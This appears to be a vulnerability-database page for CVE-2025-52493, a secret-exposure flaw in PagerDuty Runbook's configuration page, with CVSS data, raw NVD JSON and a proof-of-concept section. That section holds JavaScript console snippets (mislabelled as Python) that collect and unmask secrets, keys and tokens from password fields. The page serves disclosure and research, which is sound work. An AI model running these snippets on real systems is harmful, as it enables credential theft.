Security Vulnerability Report
中文
CVE-2025-52493 CVSS 6.5 MEDIUM

CVE-2025-52493

Published: 2025-12-10 17:15:54
Last Modified: 2026-01-02 14:38:05

Description

PagerDuty Runbook through 2025-06-12 exposes stored secrets directly in the webpage DOM at the configuration page. Although these secrets appear masked as password fields, the actual secret values are present in the page source and can be revealed by simply modifying the input field type from "password" to "text" using browser developer tools. This vulnerability is exploitable by administrative users who have access to the configuration page.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pagerduty:runbook_automation:*:*:*:*:*:*:*:* - VULNERABLE
PagerDuty Runbook <= 2025-06-12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-52493 PoC - PagerDuty Runbook Secret Exposure // Steps: // 1. Navigate to PagerDuty Runbook configuration page // 2. Open browser Developer Tools (F12) // 3. Find the password input fields containing secrets // 4. Change input type from 'password' to 'text' // Method 1: Using Developer Tools Console javascript: (function() { // Find all password input fields var passwordInputs = document.querySelectorAll('input[type="password"]'); passwordInputs.forEach(function(input) { console.log('Secret found:', input.value); // Change type to reveal content input.type = 'text'; }); })(); // Method 2: Direct DOM manipulation javascript: var secrets = []; document.querySelectorAll('input').forEach(function(input) { if (input.name.includes('key') || input.name.includes('secret') || input.name.includes('token')) { secrets.push({name: input.name, value: input.value}); input.type = 'text'; } }); console.table(secrets); // Method 3: View Page Source // Right-click page -> View Page Source -> Search for 'value=' in password field definitions

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52493", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:53.693", "lastModified": "2026-01-02T14:38:05.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PagerDuty Runbook through 2025-06-12 exposes stored secrets directly in the webpage DOM at the configuration page. Although these secrets appear masked as password fields, the actual secret values are present in the page source and can be revealed by simply modifying the input field type from \"password\" to \"text\" using browser developer tools. This vulnerability is exploitable by administrative users who have access to the configuration page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pagerduty:runbook_automation:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-06-12", "matchCriteriaId": "9AE4D0D6-E780-4B51-BF95-63CD6E1D3542"}]}]}], "references": [{"url": "https://github.com/carterross2/Vulnerability-Research/tree/main/CVE-2025-52493", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.pagerduty.com/platform/automation/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.pagerduty.com/security/disclosure/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.praetorian.com", "source": "[email protected]", "tags": ["Not Applicable"]}]}}